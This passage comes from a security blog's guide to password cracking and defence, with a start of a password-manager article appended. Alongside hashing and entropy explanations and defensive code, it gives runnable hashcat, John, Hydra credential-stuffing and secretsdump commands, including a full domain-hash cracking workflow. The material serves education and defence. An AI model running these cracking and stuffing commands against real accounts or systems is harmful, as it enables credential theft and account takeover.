SHA256("a3f8b2c1" + "hunter2") user_2: salt = "9d4e7f2a" → hash = SHA256("9d4e7f2a" + "hunter2") ``` Both users have the same password, but completely different hashes. Salts are stored alongside the hash in the database: they are not secret; their purpose is to force per-user computation, not to add secrecy. ### The Hashing Algorithm Gap Not all hash functions are appropriate for passwords. Hash functions designed for data integrity (MD5, SHA-1, SHA-256, SHA-3) are optimized to be fast. That optimization is catastrophic for password storage. A single Nvidia RTX 4090 GPU can compute: | Algorithm | Hashes/second | |---|---| | MD5 | ~68 billion | | SHA-1 | ~23 billion | | SHA-256 | ~11 billion | | bcrypt (cost 12) | ~184,000 | | Argon2id (64MB/3 iter) | ~6,500 | | scrypt (N=32768) | ~50,000 | That is not a typo. A single consumer GPU computes 68 *billion* MD5 hashes per second. Against bcrypt at cost 12, the same hardware manages 184,000. The design goal of password hashing functions is to be deliberately, tunably slow and memory-intensive, so that offline cracking attacks are economically unviable. MD5 and SHA-1 are cryptographically broken for password storage. Not because of collision resistance issues (those are real but separate) but because they are so fast that even a well-salted MD5 database is crackable at scale. If you see either in a codebase as the password storage mechanism, classify it as a critical security vulnerability. The Adobe breach of 2013 exposed 153 million accounts stored with 3DES and hints stored in plaintext. The entire thing was cracked in days. ### The LinkedIn Breach: A Concrete Example In June 2012, LinkedIn suffered a breach that exposed 6.5 million SHA-1 password hashes. They were **unsalted**. Within hours, security researchers and crackers had identified millions of matches. By 2016, it emerged the actual breach was 117 million accounts. The lack of salting meant that once any password was cracked, all users with the same password were exposed simultaneously. Common passwords like "linkedin", "123456", and "password" matched millions of hashes instantly with a single computation. The lesson is not that SHA-1 was used: it is that unsalted fast hashes are a catastrophic failure mode that transforms a database breach into mass credential exposure measured in hours, not years. ## Cracking Techniques: How Attackers Actually Do It ### Brute Force: The Exhaustive Search Brute force enumerates every possible combination of characters up to a specified length. It is guaranteed to crack any password eventually: the question is whether "eventually" is minutes or geological epochs. The search space grows exponentially with length: | Charset | Size | Length | Combinations | Time @ 184k bcrypt/s | |---|---|---|---|---| | lowercase (a-z) | 26 | 6 | 308,915,776 | ~28 minutes | | lowercase + digits | 36 | 6 | 2,176,782,336 | ~3.3 hours | | lowercase + digits | 36 | 8 | 2.8 trillion | ~179 days | | Full ASCII printable | 95 | 8 | 6.6 quadrillion | ~1,147 years | | Full ASCII printable | 95 | 12 | 5.4 × 10²³ | ~10¹² years | Against MD5 (68 billion hashes/sec), those numbers shrink by a factor of 370,000. An 8-character lowercase + digit MD5 hash cracks in under a second. An 8-character full-ASCII MD5 hash cracks in roughly 27 hours with one GPU. A cluster of 8 RTX 4090s reduces that to 3 hours. Hashcat handles brute force with mask attacks. The character sets use shorthand notation: ```bash # Hashcat mask attack notation # ?l = lowercase (a-z) # ?u = uppercase (A-Z) # ?d = digits (0-9) # ?s = special characters (!@#$...) # ?a = all printable ASCII # Brute force MD5 hashes (mode 0), 8-character lowercase+digit hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l?d?d # Brute force bcrypt (mode 3200), 6-character all-printable hashcat -m 3200 -a 3 hashes.txt ?a?a?a?a?a?a # Custom charset: digits only (PINs) hashcat -m 0 -a 3 hashes.txt -1 ?d ?1?1?1?1?1?1 # Session management (resume later) hashcat -m 1800 -a 3 shadow.txt ?a?a?a?a?a?a?a --session=bruteforce1 hashcat --session=bruteforce1 --restore # Show cracked results hashcat -m 1800 shadow.txt --show ``` The critical insight: brute force is the attacker's fallback, not the primary weapon. When dictionaries and rules fail, brute force fills the gaps, but only for shorter passwords. Anything above 10 characters of reasonable complexity is practically immune to brute force against bcrypt. ### Dictionary Attacks: Exploiting Human Predictability Humans are terrible at choosing random passwords. They choose words, names, dates, sports teams, and keyboard patterns. Dictionary attacks exploit this by hashing a wordlist and comparing against target hashes. The foundational wordlist is **rockyou.txt**: 14.3 million passwords recovered from the 2009 RockYou breach, where passwords were stored in plaintext. It remains the most effective starting wordlist in 2026 because it reflects actual human password selection behavior. ```bash # John the Ripper — auto-detect hash type, rockyou dictionary john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt # Hashcat — NTLM hashes (Windows), rockyou hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt # Hashcat — Linux SHA-512crypt from /etc/shadow hashcat -m 1800 -a 0 shadow.txt rockyou.txt # Hashcat — bcrypt from web app database dump hashcat -m 3200 -a 0 bcrypt_hashes.txt rockyou.txt ``` **Rule-based mutations** are where dictionary attacks become devastating. Rules transform dictionary words to match common human patterns: ``` password → Password, P@ssword, passw0rd, P@ssw0rd, P@ssw0rd1, password123 linkedin → LinkedIn, L1nked1n, LinkedIn!, LINKEDIN baseball → Baseball1!, b@seball, Baseball2023 ``` The **best64.rule** file ships with Hashcat and applies 64 common transformations. The **dive.rule** file applies thousands. A 14 million word dictionary with dive generates billions of candidates: ```bash # Apply best64 rules to rockyou hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule # Stack multiple rule files hashcat -m 0 -a 0 hashes.txt rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule \ -r /usr/share/hashcat/rules/toggles1.rule # Use dive.rule for maximum coverage (slower) hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/dive.rule # John with built-in rules john --wordlist=rockyou.txt --rules=KoreLogic hashes.txt ``` Real rule files look like this (Hashcat rule syntax): ``` # Rules that cover ~80% of human password mutations : # Do nothing (keep base word) l # Lowercase all letters u # Uppercase all letters c # Capitalize first letter $1 # Append "1" $! # Append "!" $2$0$2$3 # Append "2023" sa@ # Replace 'a' with '@' se3 # Replace 'e' with '3' si! # Replace 'i' with '!' so0 # Replace 'o' with '0' c$1 # Capitalize + append "1" c$1$! # Capitalize + append "1!" ``` The KoreLogic ruleset, released publicly from DEFCON challenges, remains one of the best for real-world password cracking. It is available in John the Ripper distributions and documents the specific patterns that appear most frequently in cracked corporate passwords. ### Combinator Attacks: Building Compound Passwords Combinator attacks take two wordlists and concatenate every pair, generating compound passwords like `soccer123` or `springtime!`: ```bash # Hashcat combinator attack (mode 1) hashcat -m 0 -a 1 hashes.txt wordlist1.txt wordlist2.txt # With rules applied to the left word hashcat -m 0 -a 1 hashes.txt wordlist1.txt wordlist2.txt -j c # With rules applied to the right word hashcat -m 0 -a 1 hashes.txt wordlist1.txt wordlist2.txt -k $1$! ``` This is effective for passwords like `summer2023`, `Dog!horse`, or `January2025!`, patterns where two components (season/color/sport + year/special) are concatenated. These feel complex to users but are straightforward for combinator attacks. ### Rainbow Tables: Precomputed Hash Lookups A rainbow table is a precomputed data structure that maps hash values back to their plaintext inputs. The naive approach would be a simple lookup table: store every `(plaintext, hash)` pair. For MD5 and an 8-character lowercase alphabet, that's 26^8 × 2 entries, approximately 1.3 TB of storage. Rainbow tables use chains of alternating hash and reduction functions to achieve similar coverage with dramatically less storage. The math: - 8-character lowercase MD5 space: ~208 billion hashes - A full rainbow table for this space: ~20-100 GB depending on compression - Lookup time for a hit: milliseconds - Crack rate for unsalted MD5 in this space: effectively 100% Tools and services: ```bash # Ophcrack uses rainbow tables for Windows NTLM/LM hashes ophcrack -t /path/to/tables -f hash.txt # Online: CrackStation, CMD5, OnlineHashCrack — submit hash, get plaintext # These maintain multi-TB rainbow table databases ``` **Why salting completely defeats rainbow tables**: To use a rainbow table against salted hashes, you need a separate table per unique salt. With 16-byte random salts (2^128 possible values), the required storage is physically impossible. Salting is not a minor improvement: it eliminates the entire rainbow table attack class. Salting doesn't slow down the hash computation at all. Its only purpose is to invalidate precomputed tables. This is why "we use salted MD5" is not a satisfactory answer to a security audit: the salt defeats rainbow tables, but the speed of MD5 still makes brute force and dictionary attacks fast enough to crack most real-world passwords in hours on commodity hardware. ### Credential Stuffing: When You Don't Need to Crack Anything Credential stuffing is technically not cracking: it is replaying. Billions of `username:password` pairs from historical breaches are publicly available on hacking forums and distributed freely. Tools automate testing these pairs against live services. The scale of available credential data as of 2025: - **Collection #1 (2019)**: 773 million email/password pairs, 87 GB - **RockYou2021**: 8.4 billion password entries (compilation) - **COMB (Compilation of Many Breaches)**: 3.2 billion unique credential pairs - Various stealer log aggregations: hundreds of millions of active credentials ```bash # Hydra — HTTP POST form credential stuffing hydra -C credentials.txt target.com http-post-form \ "/login:username=^USER^&password=^PASS^:Invalid credentials" \ -t 64 -w 30 # Hydra — against multiple targets hydra -C credentials.txt -M targets.txt http-post-form \ "/api/auth:email=^USER^&password=^PASS^:error" # Custom credential stuffing with Python + requests (for proper rate limit handling) # Real operations use distributed proxies to bypass IP-based rate limits ``` The effectiveness statistics are sobering. In a 2023 Okta threat report, credential stuffing accounted for 34% of all authentication attacks observed. Success rates vary by service, but even a 0.1% success rate against a 100-million-pair database is 100,000 compromised accounts. The attack requires no hashing, no compute, and runs against live production systems where MFA bypass is a secondary step. The Okta breach of October 2023 was partly attributed to credential stuffing attacks against the support system using credentials from a prior third-party breach. The attackers accessed files belonging to 134 Okta customers before detection. ### PRINCE Attack: Password Probability Chains The PRINCE (PRobability INfinite Chaining Engine) algorithm generates password candidates by chaining words from a wordlist based on probability distributions derived from cracked passwords. It is more sophisticated than a combinator attack because it models the statistical distribution of real password elements. ```bash # PRINCE via hashcat-utils princeprocessor ./pp64.bin < wordlist.txt | hashcat -m 1000 --stdin hashes.txt # With specific password length targets ./pp64.bin --pw-min=8 --pw-max=12 < words.txt | \ hashcat -m 1000 --stdin hashes.txt ``` ### Hybrid Attacks: Dictionary + Brute Force Combined Hybrid attacks append or prepend brute-force masks to dictionary words: ```bash # Append 1-4 digit suffix to dictionary words (password → password1234) hashcat -m 0 -a 6 hashes.txt rockyou.txt ?d?d?d?d # Prepend 2-character mask (20 + password → 20password) hashcat -m 0 -a 7 hashes.txt ?d?d rockyou.txt # Append year (2020-2029) hashcat -m 0 -a 6 hashes.txt wordlist.txt 202?d # Append common patterns hashcat -m 0 -a 6 hashes.txt wordlist.txt ?d?d?d?s ``` This captures the overwhelming majority of passwords following patterns like `BaseWord + Year`, `BaseWord + !`, `BaseWord + 123`. ## Hash Identification and Common Formats Before cracking, you need to identify the hash type. Unknown hashes can be identified by length, character set, and prefix patterns: ```bash # Hashcat auto-identification hashcat --identify hash.txt # hash-identifier (standalone tool) hash-identifier # Paste hash when prompted # Example hash formats # MD5: 5f4dcc3b5aa765d61d8327deb882cf99 (32 hex) # SHA-1: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 (40 hex) # SHA-256: 6b3a55e0261b... (64 hex) # bcrypt: $2a$12$R9h/cIPz0gi.URNNX3kh2O... (60 chars, starts $2) # Argon2id: $argon2id$v=19$m=65536,t=3,p=4$... # NTLM: 8846f7eaee8fb117ad06bdd830b7586c (32 hex, no prefix) # sha512crypt: $6$rounds=5000$salt$hash... (starts $6$) ``` Hashcat mode reference for the most common formats encountered in real dumps: | Mode | Algorithm | Common Source | |---|---|---| | 0 | MD5 | Legacy web apps, PHP sites | | 10 | md5($pass.$salt) | Various custom implementations | | 20 | md5($salt.$pass) | Various custom implementations | | 100 | SHA-1 | LinkedIn 2012, older web apps | | 1000 | NTLM | Windows domain hashes | | 1400 | SHA-256 | Moderate security implementations | | 1700 | SHA-512 | Moderate security implementations | | 1800 | sha512crypt ($6$) | Modern Linux /etc/shadow | | 3200 | bcrypt | Web apps doing it right | | 13400 | KeePass 1.x/2.x | Password manager vault files | | 16900 | Ansible Vault | DevOps secrets files | | 22000 | WPA-PBKDF2-PMKID+EAPOL | WiFi handshake captures | | 22100 | BitLocker | Full disk encryption | | 13600 | WinZip | Encrypted archives | | 23800 | 1Password | Password manager vaults | ## Password Entropy: The Actual Math Entropy measures the unpredictability of a password, how much work an attacker must do to guess it by exhaustive search. ``` Entropy (bits) = log₂(pool_size ^ length) = length × log₂(pool_size) ``` For a password to be uncrackable with current hardware against bcrypt, target 80+ bits of entropy from a *random* source. Human-chosen passwords almost never achieve their theoretical entropy. | Password | Pool | Length | Theoretical Entropy | Practical Entropy | |---|---|---|---|---| | `abc123` | 36 | 6 | 31 bits | ~10 bits (in rockyou) | | `P@ssw0rd1` | 94 | 9 | 59 bits | ~15 bits (in every ruleset) | | `Tr0ub4dor&3` | 94 | 11 | 72 bits | ~25 bits (XKCD-famous, in wordlists now) | | `correct-horse-battery` | 27 | 22 | 103 bits | ~75 bits (diceware, less common) | | Random 16-char full ASCII | 94 | 16 | 105 bits | 105 bits (truly random) | | Random 4-word diceware | 7776 |, | 51 bits per word selection | 51 bits (EFF list) | "P@ssw0rd1" has 59 bits of theoretical entropy but near-zero practical entropy. Every rule file generates it from "password" automatically. Theoretical entropy assumes random, independent selection from the character pool, human cognitive biases mean real passwords inhabit a tiny fraction of their theoretical space. This is why NIST SP 800-63B (2017) dropped complexity requirements in favor of length requirements and breach-database checks. The NIST SP 800-63B guidance, updated in 2024, now explicitly recommends: - Minimum 8 characters (15 recommended) - Check against known-breached password lists - Do NOT require periodic rotation without evidence of compromise - Do NOT require specific character types Mandatory character types (at least one uppercase, one number, one symbol) produce passwords like `Password1!`: they meet the rule, they're in every wordlist. Long random passphrases from diceware are more entropy-efficient and more memorable. ## Tools in Depth ### Hashcat: The GPU Standard Hashcat is the de facto standard for GPU-accelerated hash cracking. It supports 350+ hash types, scales across multiple GPUs, and is actively maintained. ```bash # System benchmark — shows hash rates for your hardware hashcat -b # Benchmark specific mode hashcat -b -m 3200 # Identify hash type hashcat --identify hash.txt # Dictionary attack against NTLM hashcat -m 1000 -a 0 ntlm.txt rockyou.txt # Dictionary + rules hashcat -m 1000 -a 0 ntlm.txt rockyou.txt -r rules/best64.rule # Brute force 7-char alphanumeric hashcat -m 1000 -a 3 ntlm.txt ?a?a?a?a?a?a?a # Combinator hashcat -m 0 -a 1 hashes.txt dict1.txt dict2.txt # Hybrid: dict + 4-char mask suffix hashcat -m 0 -a 6 hashes.txt dict.txt ?d?d?d?d # Multi-GPU hashcat -m 1800 -a 0 shadow.txt rockyou.txt -d 1,2,3 # Output cracked passwords to file hashcat -m 1800 -a 0 shadow.txt rockyou.txt -o cracked.txt --outfmt 2 # Restore interrupted session hashcat --session=myjob --restore # Show already-cracked hashes hashcat -m 1000 ntlm.txt --show ``` Performance optimization matters at scale. Hashcat by default uses the OpenCL backend; CUDA often provides better performance on Nvidia hardware: ```bash # Use CUDA backend (Nvidia only) hashcat -m 1000 ... --backend-devices-virtual 1 -I # Temperature monitoring during long jobs hashcat -m 1800 ... --gpu-temp-abort=90 ``` ### John the Ripper: The Flexible Option John the Ripper (jumbo edition) excels at hash auto-detection and has built-in support for exotic formats that Hashcat doesn't cover. It shines for non-standard hashes and archive cracking. ```bash # Auto-detect hash type and crack john hashes.txt # Specify wordlist and rules john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 hashes.txt # Specify hash format explicitly john --format=bcrypt hashes.txt --wordlist=rockyou.txt # Extract and crack Office document passwords office2john document.docx > office.hash john office.hash --wordlist=rockyou.txt # Extract and crack ZIP passwords zip2john protected.zip > zip.hash john zip.hash --wordlist=rockyou.txt # Crack KeePass database keepass2john vault.kdbx > keepass.hash john keepass.hash --wordlist=rockyou.txt # Crack SSH private key passphrase ssh2john id_rsa > ssh.hash john ssh.hash --wordlist=rockyou.txt # Show cracked results john --show hashes.txt # List supported formats john --list=formats ``` The john2hashcat utility converts John hash files to Hashcat format, allowing you to switch tools mid-attack. ## What Defenders Must Actually Do ### On the Application Side: Argon2id or Bust The OWASP Password Storage Cheat Sheet (2024 update) recommends Argon2id as the first choice. If that's unavailable, scrypt. If neither, bcrypt with a cost factor of 12 or higher. MD5, SHA-1, and SHA-256 are unacceptable regardless of salting. ```python # Python — argon2-cffi (correct parameterization per OWASP 2024) from argon2 import PasswordHasher from argon2.exceptions import VerifyMismatchError ph = PasswordHasher( time_cost=3, # Number of iterations memory_cost=65536, # 64 MB memory usage parallelism=4, # Parallel threads hash_len=32, # Output hash length in bytes salt_len=16 # Salt length in bytes ) # Hash a password hashed = ph.hash("user_password_here") # Output: $argon2id$v=19$m=65536,t=3,p=4$$ # Verify (raises VerifyMismatchError on failure) try: ph.verify(hashed, "user_password_here") # Returns True if match except VerifyMismatchError: # Password is wrong pass # Check if rehash needed (work factor increased since hash was created) if ph.check_needs_rehash(hashed): new_hash = ph.hash("user_password_here") # Store new_hash ``` ```python # Node.js — argon2 package const argon2 = require('argon2'); // Hash const hash = await argon2.hash(password, { type: argon2.argon2id, memoryCost: 65536, // 64 MB timeCost: 3, parallelism: 4, }); // Verify try { const valid = await argon2.verify(hash, password); } catch (err) { // Failed } ``` ```go // Go — golang.org/x/crypto/argon2 package main import ( "crypto/rand" "encoding/base64" "golang.org/x/crypto/argon2" ) func HashPassword(password string) string { salt := make([]byte, 16) rand.Read(salt) hash := argon2.IDKey([]byte(password), salt, 3, 64*1024, 4, 32) // Store salt + hash together b64Salt := base64.RawStdEncoding.EncodeToString(salt) b64Hash := base64.RawStdEncoding.EncodeToString(hash) return fmt.Sprintf("$argon2id$v=19$m=65536,t=3,p=4$%s$%s", b64Salt, b64Hash) } ``` Work factor calibration: OWASP recommends tuning parameters so that hashing takes 300ms, 500ms on your production hardware. This is painful for attackers (300ms per guess on a GPU is crippling) while negligible for users (login delay is imperceptible at under a second). ### Reject Known-Breached Passwords NIST 800-63B explicitly recommends checking new passwords against breach databases. The HaveIBeenPwned API provides this as a privacy-preserving k-Anonymity lookup: ```python import hashlib import requests def is_pwned_password(password: str) -> int: """ Returns the count of times this password appears in HIBP breach data. Uses k-anonymity: only the first 5 chars of the SHA-1 hash are sent. Returns 0 if not found, count if found. """ sha1 = hashlib.sha1(password.encode('utf-8')).hexdigest().upper() prefix, suffix = sha1[:5], sha1[5:] response = requests.get( f"https://api.pwnedpasswords.com/range/{prefix}", headers={"Add-Padding": "true"} ) response.raise_for_status() for line in response.text.splitlines(): hash_suffix, count = line.split(':') if hash_suffix == suffix: return int(count) return 0 # Usage in registration flow pwned_count = is_pwned_password(new_password) if pwned_count > 0: raise ValueError(f"This password appears in {pwned_count} breach records. Choose another.") ``` ```bash # API test curl "https://api.pwnedpasswords.com/range/5BAA6" # Returns suffixes and counts for hashes starting with 5BAA6 # 1E4C9B93F3F0682250B6CF8331B7EE68FD8:3861493 <- this is "password" ``` ### Rate Limiting and Account Lockout Credential stuffing and online brute force attacks are only viable if the application allows unlimited attempts. Proper rate limiting: ```python # Redis-backed rate limiter for login endpoints import redis from datetime import timedelta r = redis.Redis() def check_login_rate_limit(identifier: str) -> bool: """ identifier: IP address or username Returns True if request should be allowed, False if rate limited. """ key = f"login_attempts:{identifier}" attempts = r.incr(key) if attempts == 1: r.expire(key, 900) # 15 minute window if attempts > 10: return False # Block after 10 attempts in 15 minutes return True # Progressive lockout: increase delay exponentially def get_lockout_seconds(username: str) -> int: key = f"lockout:{username}" count = int(r.get(key) or 0) if count == 0: return 0 return min(2 ** count, 3600) # Cap at 1 hour ``` ### MFA: The Actual High-Leverage Control Microsoft's threat intelligence team published in 2019 that MFA blocks 99.9% of automated account attacks. No password policy achieves that, even the strongest password is phishable. MFA (specifically phishing-resistant MFA: FIDO2/WebAuthn) changes the attack economics entirely. The practical hierarchy: 1. **Passkeys / FIDO2 hardware keys**: Private key never leaves device. Challenge is domain-bound, phishing is mechanically impossible. 2. **TOTP authenticator apps**: Eliminates stuffing and most automated attacks. Still vulnerable to real-time phishing proxies (Evilginx). 3. **Push notification MFA**: Vulnerable to MFA fatigue attacks (prompt bombing). Require number matching to mitigate. 4. **SMS OTP**: SS7-vulnerable, SIM-swap-vulnerable. Better than nothing. ```python # TOTP generation in Python (for understanding the algorithm) import hmac, hashlib, struct, time, base64 def generate_totp(secret_b32: str, digits: int = 6, period: int = 30) -> str: """RFC 6238 TOTP implementation""" key = base64.b32decode(secret_b32.upper()) timestamp = int(time.time()) // period # Pack timestamp as 8-byte big-endian msg = struct.pack('>Q', timestamp) # HMAC-SHA1 h = hmac.new(key, msg, hashlib.sha1).digest() # Dynamic truncation offset = h[-1] & 0x0f code = struct.unpack('>I', h[offset:offset+4])[0] & 0x7fffffff return str(code % (10 ** digits)).zfill(digits) ``` ## Real-World Cracking Operations To ground this in practice: here is what a competent attacker does with a fresh NTLM hash dump from a compromised Windows domain: ```bash # 1. Extract hashes from domain (with DA credentials) # Using impacket secretsdump secretsdump.py domain/admin:'password'@dc01.corp.local -outputfile dc_hashes # 2. Separate NTLM hashes from the dump grep ':::' dc_hashes.ntds | cut -d: -f4 > ntlm_only.txt # 3. Quick wins: check against rockyou first hashcat -m 1000 -a 0 ntlm_only.txt rockyou.txt # 4. Add rules hashcat -m 1000 -a 0 ntlm_only.txt rockyou.txt \ -r rules/best64.rule -r rules/toggles1.rule # 5. Combinator attack with common corporate patterns hashcat -m 1000 -a 1 ntlm_only.txt seasons.txt years.txt # Generates: Spring2024, Winter2025, Summer2023!, etc. # 6. Hybrid: company name + digits/symbols echo "CompanyName" > company.txt hashcat -m 1000 -a 6 ntlm_only.txt company.txt ?d?d?d?d?s # 7. Brute force short passwords (<=8 chars) hashcat -m 1000 -a 3 ntlm_only.txt ?a?a?a?a?a?a?a?a # 8. Check results hashcat -m 1000 ntlm_only.txt --show | wc -l ``` In a typical enterprise domain with 500+ users, a skilled attacker running this workflow against NTLM hashes recovers 40-70% of passwords within a few hours. From those recovered passwords, they identify reuse patterns specific to the organization (e.g., `Company2024!` is the corporate standard) and apply targeted rules to crack the remainder. ## Actionable Defense Checklist **For developers and security engineers:** - [ ] Audit every password storage implementation in your codebase today. Find MD5, SHA-1, SHA-256, SHA-512 raw or salted? Treat as critical. - [ ] Migrate to Argon2id with OWASP-recommended parameters. Implement rehashing on next login. - [ ] Integrate HIBP k-anonymity API into your registration and password-change flows. - [ ] Implement tiered rate limiting: IP-level, username-level, with progressive lockout. - [ ] Deploy TOTP or WebAuthn MFA. Block SMS OTP for privileged accounts. - [ ] Enforce minimum password length (15+ chars). Drop complexity rules that produce predictable patterns. - [ ] Never log passwords. Audit logging code for password fields in request/response logs. - [ ] Set up alerting for anomalous authentication patterns (velocity, geographic anomaly). **For organizations with Windows environments:** - [ ] Enable Windows Credential Guard to protect NTLM hashes in LSASS memory. - [ ] Audit for NTLM v1 usage: it is trivially crackable. - [ ] Block NTLM authentication where Kerberos is available. - [ ] Enforce MFA for all domain accounts. Azure AD/Entra ID Conditional Access can enforce this at scale. - [ ] Monitor for secretsdump-style attacks (mass LDAP enumeration, DC replication via DRSUAPI). **For individuals:** - [ ] Use a password manager. Generate 20+ character random passwords for every site. - [ ] Check your email at haveibeenpwned.com right now. - [ ] Enable TOTP on your email, banking, and password manager account today. - [ ] Passkeys wherever supported, Google, Apple, Microsoft, GitHub, and Cloudflare all support them. The math is not in the attacker's favor against properly implemented bcrypt or Argon2 with strong random passwords. The math is catastrophically against the defender when MD5 meets rockyou with best64 rules. The gap between these two outcomes is a few engineering decisions. ## Offline Cracking Versus Online Guessing The single most important distinction for reasoning about password risk is where the guessing happens. Offline cracking assumes the attacker already holds the hashes, extracted from a stolen database or a dumped `/etc/shadow` file. There is no server in the loop, no rate limit, no lockout, and no logging. The attacker guesses at the full speed of their hardware, which is why the hash algorithm matters so much. Against offline attacks, the only variables that help you are the slowness of the hashing function and the entropy of the password itself. Online guessing is the opposite situation. The attacker submits candidate passwords to a live login endpoint and waits for the service to respond. Every guess is subject to whatever rate limiting, lockout, CAPTCHA, and monitoring the service applies. A well defended login endpoint that permits ten guesses per fifteen minutes caps an attacker at roughly a thousand guesses per day per account, which makes even a moderately strong password practically safe from pure online brute force. This is why credential stuffing exists as a category: replaying a password already known from a breach sidesteps the guessing problem entirely, so a single correct attempt succeeds inside the rate limit. The practical takeaway is that password length and hash choice defend the offline case, while rate limiting, lockout, and MFA defend the online case. A complete authentication design needs both, because the two attack surfaces are independent. A slow hash does nothing to stop credential stuffing, and a strict rate limit does nothing once the database has already leaked. ## Detection Signals: Spotting an Attack in Progress Defenders can observe the online side of these attacks in real time, and the signals are concrete. Credential stuffing produces a characteristic authentication pattern: a high volume of login attempts spread across many distinct usernames, each username tried only once or twice, originating from a large and rotating pool of IP addresses. The failure rate is high because most reused credentials do not match, and the successful logins that do occur come from geographies or device fingerprints that differ from the account's normal history. This maps to MITRE ATT&CK technique T1110.004 (Credential Stuffing) and the broader T1110 Brute Force family. Password spraying, where an attacker tries a handful of common passwords against a large list of accounts, inverts the ratio: many usernames, very few passwords, deliberately staying under per account lockout thresholds. The detection signal is a low number of failures per account combined with the same small set of passwords appearing across the whole directory in a short window. Concrete indicators worth alerting on include a sudden spike in the ratio of failed to successful logins, authentication attempts against usernames that do not exist, successful logins immediately preceded by dozens of failures, logins from IP addresses associated with hosting providers or known proxy networks, and impossible travel where one account authenticates from two distant locations within minutes. On the endpoint side, offline cracking of stolen Windows hashes is often preceded by credential dumping activity such as LSASS memory access or volume shadow copy creation to reach the NTDS.dit file, which EDR platforms can flag directly. A pepper is a secret value added to every password before hashing, stored separately from the database (in application configuration, a hardware security module, or an environment variable rather than the same table as the hashes). If the database leaks but the pepper does not, the stolen hashes are uncrackable without also compromising the application secret. A pepper complements salting: the salt is per user and public, the pepper is global and secret. ## Common Misconceptions Several beliefs about passwords persist despite being wrong, and each one leads to a concrete weakness. The first is that character complexity rules produce strong passwords. Requiring one uppercase letter, one digit, and one symbol pushes users toward predictable patterns like `Password1!`, which every rule set generates from the base word automatically. Length from a random source buys far more resistance than mandated character classes. The second is that salting slows down cracking. Salting forces the attacker to compute each candidate separately per user and defeats precomputed rainbow tables, but it adds no time to a single hash computation. A salted MD5 database still falls to dictionary and brute force attacks at full GPU speed. The third is that periodic forced rotation improves security. Mandatory ninety day changes drive users to increment a suffix (`Spring2025` becomes `Spring2026`), a pattern that rule based attacks anticipate. NIST SP 800-63B explicitly recommends against scheduled rotation absent evidence of compromise. The fourth is that MFA makes the password irrelevant. Strong MFA dramatically raises the cost of account takeover, yet real time phishing proxies and MFA fatigue attacks defeat weaker second factors, and a cracked password still exposes any account where MFA was never enabled. The password remains a control worth getting right. ## How Password Cracking Evolved Early cracking was CPU bound and dictionary driven. Tools like the original Crack utility and early John the Ripper iterated wordlists against Unix crypt hashes at a few thousand guesses per second. The economics changed when GPUs became programmable: the massively parallel architecture designed for graphics turned out to be ideal for computing billions of independent hashes at once, and Hashcat built its reputation on exploiting that hardware. The 2009 RockYou breach then handed the community fourteen million real plaintext passwords, which shifted the field from guessing character combinations toward modeling actual human behavior through wordlists and rules. The defensive response tracked this arms race. Purpose built slow hashes appeared to blunt GPU acceleration: bcrypt in 1999, scrypt in 2009 with deliberate memory hardness to resist GPU and ASIC parallelism, and Argon2 winning the Password Hashing Competition in 2015 as the current recommended standard. Each was designed to make the attacker's hardware advantage as expensive as possible. The live attack surface evolved in parallel, as mass breach compilations made credential stuffing cheaper than cracking, pushing defenders toward breach database checks and phishing resistant MFA as the highest leverage controls. ## Frequently asked questions **How long would it take to crack my password?** It depends entirely on how it was stored. Against a fast unsalted hash like MD5, a short or common password falls in seconds. Against Argon2id or bcrypt at a proper cost factor, a long random password is infeasible to crack with any current hardware. The password and the hash function together determine the answer, so neither number alone is meaningful. **Is a passphrase really better than a complex password?** A random passphrase of four or more words drawn from a large list (diceware style) delivers high entropy while remaining memorable, and it avoids the predictable substitution patterns that rule based attacks target. A short password padded with symbol substitutions offers far less real resistance than its apparent complexity suggests. **Can bcrypt or Argon2 hashes be cracked at all?** Yes, but slowly and only for weak inputs. A short or common password stored with bcrypt still falls to a dictionary attack because the attacker only needs to try likely candidates. The slow hash buys time proportional to the strength of the password behind it, so it protects strong passwords well and weak ones poorly. **Does adding one symbol to my password make it much stronger?** Marginally, and less than you would expect. Appending a single predictable symbol like `!` at the end is one of the first transformations every rule set applies. Genuine strength comes from length and randomness across the whole password, not from a token symbol in a common position. **What is credential stuffing and why can it bypass a strong hash?** Credential stuffing replays username and password pairs already exposed in previous breaches against other services. The attacker never touches your hash because they already have a working plaintext password from somewhere you reused it. Unique passwords per site and MFA are the defenses, since hash strength is irrelevant once a valid password is already known. **Should I still change my passwords regularly?** Change a password immediately when there is any sign of compromise or when a service you use discloses a breach. Routine scheduled changes without a trigger tend to weaken passwords by pushing users toward predictable increments, which is why modern guidance drops the calendar based requirement. **What is the single most effective thing I can do?** Use a password manager to generate a long unique random password for every account, and enable phishing resistant MFA (a passkey or FIDO2 security key) everywhere it is supported. Together these defeat reuse, resist cracking, and neutralize most account takeover attempts. ## Related guides - [Secure Coding Practices Every Developer Should Know](/secure-coding-practices) - [OWASP Top 10 Explained with Examples](/owasp-top-10-explained) - [Password Managers: Why You Need One and How to Choose](/password-managers-guide) - [How to Set Up Two-Factor Authentication (2FA) Properly](/two-factor-authentication-guide) ### Sources - NIST SP 800-63B: Digital Identity Guidelines: Authentication and Lifecycle Management (NIST): https://pages.nist.gov/800-63-3/sp800-63b.html - OWASP Password Storage Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html - Have I Been Pwned: Pwned Passwords (k-Anonymity API) (Have I Been Pwned): https://haveibeenpwned.com/Passwords --- ## Password Managers: Why You Need One and How to Choose > You can't remember 200 unique passwords. A password manager is the single highest-impact security tool for most people. Here's how to pick and use one. - URL: https://blog.pwnsy.com/password-managers-guide - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: beginner - Category: passwords - Tags: passwords, password-manager, account-security, security-awareness, encryption - Related: [Bitwarden Review in 2026: Is It Still the Default Pick?](https://blog.pwnsy.com/bitwarden-review), [Proton Review in 2026: Mail, VPN, Pass and Drive Tested](https://blog.pwnsy.com/proton-review), [Cloud Key Management Explained: KMS, Envelope Encryption, HSMs](https://blog.pwnsy.com/cloud-key-management-explained) ### TL;DR - Password reuse is the root cause of most 